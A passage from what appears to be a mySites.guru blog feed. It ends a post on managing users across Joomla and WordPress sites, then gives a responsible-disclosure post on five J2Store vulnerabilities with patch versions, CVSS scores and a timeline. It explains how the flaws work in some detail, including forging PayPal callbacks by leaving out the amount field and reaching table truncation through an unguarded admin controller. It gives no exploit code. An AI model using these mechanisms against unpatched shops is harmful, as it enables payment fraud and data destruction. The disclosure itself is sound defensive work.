&lt;p&gt;The warning panel is not decoration. Changes go straight to each site with no backup taken first, mySites.guru applies no password rules of its own so the password has to be one your sites will accept, no check is made that an email address is real, and a site will reject the change if that username or email is already in use there.&lt;/p&gt;
&lt;p&gt;Group and role changes stay out of this panel. Group ids are per site, they mean different things on different installs, and mySites.guru validates any group change against that site’s own list before writing it. Doing that in bulk across sites that disagree about what group 7 means is how you accidentally promote someone. So group membership stays in the per-site editor, where the list in front of you is the list from that site.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Where to find it&lt;/p&gt;&lt;div&gt;&lt;p&gt;It is in the left menu as Universal User Management, and on each site’s own page as the User Manager tab. If you prefer the keyboard, press Shift twice to open the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; and start typing, or use the &lt;code&gt;u u m&lt;/code&gt; hotkey.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How is this different from WordPress Multisite?&lt;/h2&gt;
&lt;p&gt;Almost everything written about managing users across WordPress sites assumes Multisite: one installation, one &lt;code&gt;wp_users&lt;/code&gt; table, sub-sites that share an identity, and a plugin that assigns an existing network user a role on one of them. If that describes your setup, the built-in tools already do most of this.&lt;/p&gt;
&lt;p&gt;It does not describe an agency. An agency has a few hundred entirely separate installations, often on different hosts, some Joomla and some WordPress, with no shared user table and no shared identity of any kind. There is nothing to “sync” because there is no network. The only thing connecting Dan Whitlock’s account on one client’s Joomla site to Dan Whitlock’s account on another client’s WordPress site is that both happen to use the same email address, and something has to go and ask both sites, live, to find that out.&lt;/p&gt;
&lt;p&gt;That is why this works by search rather than by synchronisation, and why it spans two content management systems that know nothing about each other.&lt;/p&gt;
&lt;h2&gt;Who on your team can change a client’s users?&lt;/h2&gt;
&lt;p&gt;Browsing, searching and editing follow the site access you have already granted in mySites.guru, so a team member who cannot see a site cannot see or change its users. Everything is rate limited, at 300 requests an hour per person per site, which is generous for real work and unhelpful for anything automated.&lt;/p&gt;
&lt;p&gt;Deleting an account requires the operator to retype their own mySites.guru account password, and a wrong password on that step is recorded rather than merely rejected, because a failed authentication from somebody who already holds a valid session is exactly the event you would want to see afterwards.&lt;/p&gt;
&lt;p&gt;Every write is recorded: which of your team members changed which fields, on which site, for which account, and whether it succeeded, failed or was denied. The log stores field names, not values, because mySites.guru promises not to store your users’ details and an audit log full of old email addresses would break that promise. The record exists for our own support and incident work; there is no screen in the dashboard that shows it back to you today.&lt;/p&gt;
&lt;p&gt;Two separate things get confused here often enough to be worth separating. Managing &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;your own team’s access to mySites.guru&lt;/a&gt; is a different feature from managing the user accounts that live on your clients’ sites. Offboarding usually means doing both.&lt;/p&gt;
&lt;h2&gt;What it costs&lt;/h2&gt;
&lt;p&gt;Nothing extra. The user manager is part of the mySites.guru subscription, which is &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99 per month&lt;/a&gt; for unlimited Joomla, WordPress and PHP sites, alongside the audits, backups, uptime monitoring, update management and &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;file manager&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you want to see what is already sitting on your own sites before committing to anything, connect a site and run an audit. The user account checks quoted above are part of the standard audit, so the answer to “who has full control of this site, and when did they last use it” arrives without you doing anything further.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;Finding Rogue Admin Accounts Across Every Joomla Site You Manage&lt;/a&gt; is the detection half of this story: the audit finds planted and forgotten accounts, and the user manager is where you deal with them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;Hacked Yesterday, Exploited Today&lt;/a&gt; covers why a cleanup that ignores the user table is not a cleanup at all.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;Is My WordPress Site Hacked?&lt;/a&gt; includes the manual version of the checks above, site by site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;One-click login to any Joomla or WordPress admin console&lt;/a&gt; for the times you do need to be inside the site itself.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;Manage every site from Claude Desktop&lt;/a&gt; if you would rather ask for this in words than click through it.&lt;/li&gt;
&lt;li&gt;The &lt;a href=&quot;https://mysites.guru/blog/summer-2026-new-features/&quot;&gt;summer 2026 feature roundup&lt;/a&gt; covers what shipped immediately before this rebuild.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>user management</category><category>site management</category><category>agency tools</category><category>security</category><enclosure url="https://mysites.guru/img/og/blog/manage-users-across-every-joomla-and-wordpress-site.png" length="0" type="image/png"/></item><item><title>J2Store 3.3.22, 4.0.22 and 4.1.7 fix five flaws we reported</title><link>https://mysites.guru/blog/j2store-five-security-flaws-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/j2store-five-security-flaws-disclosure/</guid><description>J2Store 3.3.22, 4.0.22 and 4.1.7 fix five flaws mySites.guru reported, including anonymous PayPal order confirmation and a 9.5 backend escalation.</description><pubDate>Tue, 01 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;J2Commerce published a security release for the J2Store Joomla extension on 31 August 2026, fixing five vulnerabilities in &lt;code&gt;com_j2store&lt;/code&gt;. We found and reported all five, and the vendor credits mySites.guru in its advisory. The fixed builds are &lt;strong&gt;3.3.22&lt;/strong&gt; on the Joomla 3 branch, &lt;strong&gt;4.0.22&lt;/strong&gt; on 4.0.x and &lt;strong&gt;4.1.7&lt;/strong&gt; on 4.1.x, all published the same day.&lt;/p&gt;
&lt;p&gt;The timing is the awkward part. J2Commerce shipped its previous security release ten days earlier, on 21 August, closing six unrelated flaws found by other researchers. Anyone who patched then did exactly the right thing and is still exposed, because 3.3.21, 4.0.21 and 4.1.6 are all affected by this second set.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update to the fix for your own branch, not the highest number&lt;/p&gt;&lt;div&gt;&lt;p&gt;J2Store patches three branches in parallel, so the correct target depends on which one you are on: &lt;strong&gt;3.3.22&lt;/strong&gt; for Joomla 3, &lt;strong&gt;4.0.22&lt;/strong&gt; for 4.0.x, &lt;strong&gt;4.1.7&lt;/strong&gt; for 4.1.x. Moving from 4.0.21 to 4.1.7 is a branch change, not an update, and 4.1.7 is not an upgrade path for a Joomla 3 site at all.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: Five vulnerabilities in the J2Store Joomla extension, all reported by mySites.guru, are fixed in 3.3.22, 4.0.22 and 4.1.7. Three need no login: an anonymous PayPal callback could confirm an unpaid order or fail a real one (8.7), an anonymous request could insert or overwrite any customer’s cart record (8.8), and a crafted link fired script through the product-tags filter (5.3). One needed only an ordinary customer account and returned a guest checkout customer’s name, address and phone (7.1). The worst, scored 9.5, needed only a Joomla backend login of any kind, with no J2Store permission whatsoever, and reached table truncation and traversal-based SQL file execution. Every build below the fix for its branch is affected, including the 21 August security release. All five CVE records published on 3 September 2026. If you manage Joomla shops, mySites.guru already flags every connected J2Store install below the fix version for its own branch.&lt;/p&gt;
&lt;h2&gt;What the Five J2Store Flaws Actually Were&lt;/h2&gt;
&lt;p&gt;All five sit in &lt;code&gt;com_j2store&lt;/code&gt; and all five affect every supported branch, because the vulnerable code is shared between them. Ordered by the published CVSS 4.0 score:&lt;/p&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Score&lt;/th&gt;&lt;th&gt;What it allowed&lt;/th&gt;&lt;th&gt;Login needed&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78069/&quot;&gt;CVE-2026-78069&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9.5 Critical&lt;/td&gt;&lt;td&gt;Table truncation and traversal-based SQL file execution through the admin Apps controller&lt;/td&gt;&lt;td&gt;Any Joomla backend account&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78064/&quot;&gt;CVE-2026-78064&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.8 High&lt;/td&gt;&lt;td&gt;Insert or overwrite any user’s or session’s cart record&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77999/&quot;&gt;CVE-2026-77999&lt;/a&gt;&lt;/td&gt;&lt;td&gt;8.7 High&lt;/td&gt;&lt;td&gt;Confirm an unpaid order, or fail a legitimate one, through the PayPal callback&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78065/&quot;&gt;CVE-2026-78065&lt;/a&gt;&lt;/td&gt;&lt;td&gt;7.1 High&lt;/td&gt;&lt;td&gt;Read a guest customer’s name, street address and phone from the address editor&lt;/td&gt;&lt;td&gt;Any customer account&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78000/&quot;&gt;CVE-2026-78000&lt;/a&gt;&lt;/td&gt;&lt;td&gt;5.3 Medium&lt;/td&gt;&lt;td&gt;Reflected XSS through the product-tags filter fields&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two of these are worth more than a table row, because the mechanism behind each one is a mistake that is easy to repeat in any Joomla extension.&lt;/p&gt;
&lt;h2&gt;Any Joomla Backend Login Could Truncate the Store’s Tables&lt;/h2&gt;
&lt;p&gt;The 9.5 is an authorization check that was never written, sitting behind a framework default that opens rather than closes.&lt;/p&gt;
&lt;p&gt;J2Store’s administrator Apps controller accepts an &lt;code&gt;appTask&lt;/code&gt; parameter and delegates the work to an app-plugin controller. Nothing along that delegation path checks whether the caller holds any &lt;code&gt;com_j2store&lt;/code&gt; permission. That would still be manageable if the framework rejected unmatched tasks, but the component’s &lt;code&gt;fof.xml&lt;/code&gt; has no &lt;code&gt;&amp;lt;view&amp;gt;&lt;/code&gt; ACL entries under its &lt;code&gt;&amp;lt;backend&amp;gt;&lt;/code&gt; node at all, and with nothing declared the framework’s default for an unmatched task is allow.&lt;/p&gt;
&lt;p&gt;The practical result is a privilege escalation with an unusually low starting point. The only thing standing between an anonymous visitor and this code is Joomla core’s administrator login wall, which is doing its own job and knows nothing about &lt;code&gt;com_j2store&lt;/code&gt; permissions. Once any account is through that wall, for any reason, it could reach &lt;code&gt;#__j2store_*&lt;/code&gt; table truncation and traversal-based execution of SQL files. An account you created so a client could manage their events calendar was enough to wipe their shop.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;An empty ACL node is not a locked door&lt;/p&gt;&lt;div&gt;&lt;p&gt;The pattern to take away from this one is general. If your component’s ACL configuration declares nothing for a view, check what your framework does with a task it cannot match, because “no rule” and “deny” are not the same thing and the difference is invisible in a code review that only reads the controller.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The PayPal Callback That Verified Nothing&lt;/h2&gt;
&lt;p&gt;The 8.7 is the one a shop owner feels in the accounts rather than in the logs.&lt;/p&gt;
&lt;p&gt;J2Store’s PayPal IPN listener is supposed to call PayPal back, ask whether a payment notification is authentic, and act on the answer. Before the fix it did three things that each defeated that on their own. It treated an &lt;code&gt;UNVERIFIED&lt;/code&gt; response, and in fact anything that was not literally &lt;code&gt;INVALID&lt;/code&gt;, as valid. It made the verification request with &lt;code&gt;CURLOPT_SSL_VERIFYPEER&lt;/code&gt; disabled. And it stored the verdict in a field that nothing downstream ever read, so order processing continued regardless of what came back.&lt;/p&gt;
&lt;p&gt;The amount check had a separate hole. The comparison between what was paid and what was owed only ran when &lt;code&gt;mc_gross&lt;/code&gt; arrived as a positive number, and &lt;code&gt;floatval(null)&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;, so simply leaving that field out of the callback body skipped the check completely.&lt;/p&gt;
&lt;p&gt;Put together, an unauthenticated request to the callback endpoint could confirm an order that no one paid for, or push a real customer’s paid order into a failed state. If you ran an affected build with PayPal enabled, that is the thing worth auditing before you move on: orders that changed to CONFIRMED or FAILED with no matching PayPal transaction behind them.&lt;/p&gt;
&lt;h2&gt;Which J2Store Versions Are Affected?&lt;/h2&gt;
&lt;p&gt;Every build below the fix version for its own branch, on all three branches. There is no lower bound worth quoting, because the vulnerable code predates every version anyone is realistically running.&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Branch&lt;/th&gt;&lt;th&gt;Affected&lt;/th&gt;&lt;th&gt;Update to&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 3 (J2Store 3.3.x and earlier)&lt;/td&gt;&lt;td&gt;3.3.21 and below&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.3.22&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;J2Store 4.0.x&lt;/td&gt;&lt;td&gt;4.0.21 and below&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.0.22&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;J2Store 4.1.x&lt;/td&gt;&lt;td&gt;4.1.6 and below&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4.1.7&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;J2Commerce 6 is a separately rewritten codebase for Joomla 6 and is not covered by this advisory.&lt;/p&gt;
&lt;p&gt;The three fixed builds are worth staring at for a second, because they are the reason a lot of tooling will get this wrong.&lt;/p&gt;
&lt;h2&gt;Why One Version Range Cannot Cover J2Store’s Three Branches&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;4.0.22&lt;/code&gt; and &lt;code&gt;3.3.22&lt;/code&gt; both sort below &lt;code&gt;4.1.7&lt;/code&gt;. So the obvious rule, “anything below 4.1.7 is vulnerable”, tells a Joomla 3 shop that correctly installed 3.3.22 that it is still at risk, and keeps telling it that through every future scan, because no build on that branch will ever climb above 4.1.7. The site owner then either ignores the warning or goes looking for an update that does not exist for their branch.&lt;/p&gt;
&lt;p&gt;We hit this ourselves, which is why the J2Store entries in our Joomla vulnerability rules are three rules rather than one, split on branch boundaries that cannot overlap:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;below 3.3.22                 -&amp;gt; Joomla 3 branch&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;4.0.0 and above, below 4.0.22 -&amp;gt; 4.0.x branch&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;4.1.0 and above, below 4.1.7  -&amp;gt; 4.1.x branch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We learned that the expensive way on a different extension. Convert Forms fixed one flaw in 4.4.16 for Joomla 3 and 5.2.3 for Joomla 4 and up, and a single range written across both told thirty correctly patched sites they were vulnerable until a customer told us otherwise. Any vendor maintaining a Joomla 3 branch alongside a modern one produces the same trap, and J2Store maintains two of them.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every Affected J2Store Install?&lt;/h2&gt;
&lt;p&gt;By hand it means logging into each Joomla site, opening the extensions list, reading the J2Store version, working out which branch it belongs to and comparing it against the right one of three targets. For one shop that is five minutes. For an agency with thirty Joomla sites it is the kind of job that gets postponed, which is precisely what the numbers below show happening.&lt;/p&gt;
&lt;p&gt;With mySites.guru, every connected Joomla site reports its full extension inventory, so J2Store installs across the whole account list on one screen with their versions. The three branch rules for this advisory are live now, alongside the three for the 21 August release, so an affected shop is flagged with the fix version for the branch it is actually on rather than the highest number in the advisory. If you want to see that against your own sites before paying for anything, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; covers it.&lt;/p&gt;
&lt;h2&gt;What the Connected J2Store Stores Actually Look Like&lt;/h2&gt;
&lt;p&gt;This is the part we can measure and most write-ups cannot. Across the Joomla sites connected to mySites.guru that run the J2Store component and reported a readable version in the last thirty days:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93%&lt;/div&gt;&lt;div&gt;below the fix for their own branch&lt;/div&gt;&lt;div&gt;on the day the advisory published&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;68%&lt;/div&gt;&lt;div&gt;of those are on the Joomla 3 branch&lt;/div&gt;&lt;div&gt;3.3.x and older&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;74%&lt;/div&gt;&lt;div&gt;of those never applied the 21 Aug fix&lt;/div&gt;&lt;div&gt;two advisories behind&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;7%&lt;/div&gt;&lt;div&gt;already patched&lt;/div&gt;&lt;div&gt;on 3.3.22, 4.0.22 or 4.1.7&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Measured 1 September 2026 across connected Joomla sites running com_j2store with a snapshot in the previous 30 days. Percentages of that group, not of all managed sites.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The 74% is the figure that should bother anyone running a Joomla shop. Three quarters of the affected stores are not one security release behind, they are two: still below the 21 August build that fixed an unauthenticated file upload the vendor confirmed had already been exploited in the wild. Those shops did not miss this advisory. They missed the last one too, and this one arrived before anybody noticed.&lt;/p&gt;
&lt;p&gt;That pattern is why an extension inventory beats a mailing list. A shop owner reading a vendor advisory has to already know they run the extension, already know which branch, and already be reading. An inventory does not require anyone to be paying attention on the day.&lt;/p&gt;
&lt;h2&gt;Was Any of This Being Exploited?&lt;/h2&gt;
&lt;p&gt;We have no evidence of exploitation of these five before the fix shipped, and no proof of concept has been published for any of them. This post describes mechanisms rather than requests.&lt;/p&gt;
&lt;p&gt;The honest caveat is that four of the five leave very little behind. A guest address read through the address editor looks like an ordinary page view. A cart row inserted anonymously looks like a cart row. The one that does leave a trace is the PayPal callback, because the order state changes, so that is the one to go back through if you ran an affected build with PayPal enabled.&lt;/p&gt;
&lt;p&gt;The 21 August release is a different matter, and worth restating for the three quarters of shops still below it: the vendor confirmed that the file upload flaw in that set had been exploited in the wild before the patch shipped. If a shop is on 3.3.20 or below, 4.0.20 or below, or 4.1.5 or below, treat it as needing a look rather than just an update. Our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;checking a Joomla site’s database and file integrity&lt;/a&gt; covers what to review.&lt;/p&gt;
&lt;h2&gt;Credit Where It Is Due&lt;/h2&gt;
&lt;p&gt;Two things J2Commerce did here are worth saying, because plenty of vendors do neither.&lt;/p&gt;
&lt;p&gt;They &lt;a href=&quot;https://joomla3security.com/vendors/j2commerce/&quot;&gt;patched the Joomla 3 branch&lt;/a&gt; on the same day as the modern ones. J2Store’s users skew heavily toward Joomla 3, as the 68% above shows, and a vendor who fixes only the current branch effectively strands most of their install base. J2Commerce has now done the simultaneous three-branch release twice in ten days. Three days after this advisory they also put a date on the end of it: &lt;a href=&quot;https://mysites.guru/blog/j2store-3-end-of-life/&quot;&gt;the Joomla 3 branch stops receiving anything on 19 October 2026&lt;/a&gt;, which makes 3.3.22 the last security build most of these shops will ever be offered.&lt;/p&gt;
&lt;p&gt;They also named the reporter. The advisory credits Phil Taylor of mySites.guru with discovery and responsible disclosure of all five issues, and thanks the Joomla Security Strike Team. We have written before about &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;what a good Joomla extension disclosure looks like&lt;/a&gt;, and about vendors who shipped our fixes without ever saying where they came from. This one is on the right side of that line.&lt;/p&gt;
&lt;p&gt;All five records published on 3 September 2026, assigned by the Joomla CNA, and all five credit Phil Taylor of mySites.guru. The affected ranges came through unchanged, so nothing in the fix advice above moves. Four of the five scores are the vendor’s. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78069/&quot;&gt;CVE-2026-78069&lt;/a&gt; went up, from 9.4 to 9.5 Critical, and the CNA rewrote its vector rather than just its score: &lt;code&gt;AT:P/PR:N&lt;/code&gt; where the vendor had &lt;code&gt;AT:N/PR:L&lt;/code&gt;. That is worth reading carefully, because &lt;code&gt;PR:N&lt;/code&gt; means no privileges required and our own proof needed an authenticated Joomla administrator session. The CNA appears to be treating the backend login as an attack requirement rather than a privilege, which is defensible for a shop where anyone can be given a backend account for an unrelated component, and is why the score rose. The practical advice is the same either way: this was reachable by any backend account holding no J2Store rights at all.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.5&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA, published 3 September 2026 · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78069/&quot;&gt;CVE-2026-78069&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;The worst of the five. Any account that can reach the Joomla administrator login, holding no J2Store permission at all, could trigger table truncation and traversal-based SQL file execution against the shop. J2Commerce scored it 9.4 with a PR:L vector; the published CNA record raised it to 9.5 and scores the backend login as an attack requirement (AT:P) rather than a privilege (PR:N).&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Backend login, any privilege&lt;/span&gt;&lt;span&gt;No J2Store permission needed&lt;/span&gt;&lt;span&gt;Data destruction&lt;/span&gt;&lt;span&gt;Reaches file execution&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-21&lt;/strong&gt; J2Commerce ships 3.3.21, 4.0.21 and 4.1.6 for a different six flaws Six CVEs found by other researchers, including an unauthenticated file upload the vendor confirmed had been exploited in the wild. This is the release most affected shops are still sitting one step below.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-25&lt;/strong&gt; Five issues reported privately to J2Commerce The PayPal callback forgery, the reflected XSS, the anonymous cart tampering and the guest-address IDOR, all four proven live against a test installation. The fifth, the Apps delegation chain, was reported as shielded only by accident, with a warning that any change to fof.xml would expose it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-25&lt;/strong&gt; J2Commerce acknowledges the report the same day Olivier Buisard confirms receipt four and a half hours later and says the issues will be resolved.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-31&lt;/strong&gt; J2Commerce ships 3.3.22, 4.0.22 and 4.1.7 for all five All three branches patched the same day. The advisory credits Phil Taylor of mySites.guru with discovery and responsible disclosure of all five issues, and thanks the Joomla Security Strike Team. The vendor also re-assessed the Apps delegation chain as reachable by any authenticated backend user and scored it 9.4, higher than the report treated it. The Joomla CNA later published it higher still, at 9.5.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-01&lt;/strong&gt; mySites.guru flags every affected connected store Three new vulnerability rules, one per release branch, so an affected site is told the fix version for the branch it is actually on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-03&lt;/strong&gt; All five CVE records publish, credited to mySites.guru Assigned by the Joomla CNA. Four scores unchanged; CVE-2026-78069 published at 9.5 Critical rather than the vendor&apos;s 9.4, with a vector reading PR:N where the vendor used PR:L.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-03&lt;/strong&gt; J2Commerce sets J2Store 3&apos;s end of life at 19 October 2026 Announced the same day the CVEs published. 3.3.22, the release that fixed these five flaws, becomes the last security build the Joomla 3 branch is likely to get.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/j2store-3-end-of-life/&quot;&gt;J2Store 3 stops getting security fixes on 19 October 2026&lt;/a&gt; - 3.3.22 is where the Joomla 3 branch ends, and what that means for the shops still on it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider set of extension flaws we reported over one month, of which this is a continuation.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;Exposed invoices and order forgery in EasyStore&lt;/a&gt; - the same shape of bug in another Joomla shop extension: guessable ids, orders marked paid for free.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - what an ownership check that only half runs looks like, which is exactly the guest-address gap described here.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring pattern behind the cart tampering: a task reachable by anyone, with the framework&apos;s CSRF check not applying.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/862.html&quot;&gt;CWE-862: Missing Authorization&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Authorization Bypass Through User-Controlled Key&lt;/a&gt; - the official definitions for the two worst issues here.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.j2commerce.com/blog/security-announcement-releases-3-3-22-4-0-22-and-4-1-7&quot;&gt;J2Commerce security announcement&lt;/a&gt; - the vendor&apos;s own advisory, with the full CVSS vectors.&lt;/li&gt;
&lt;/ul&gt;
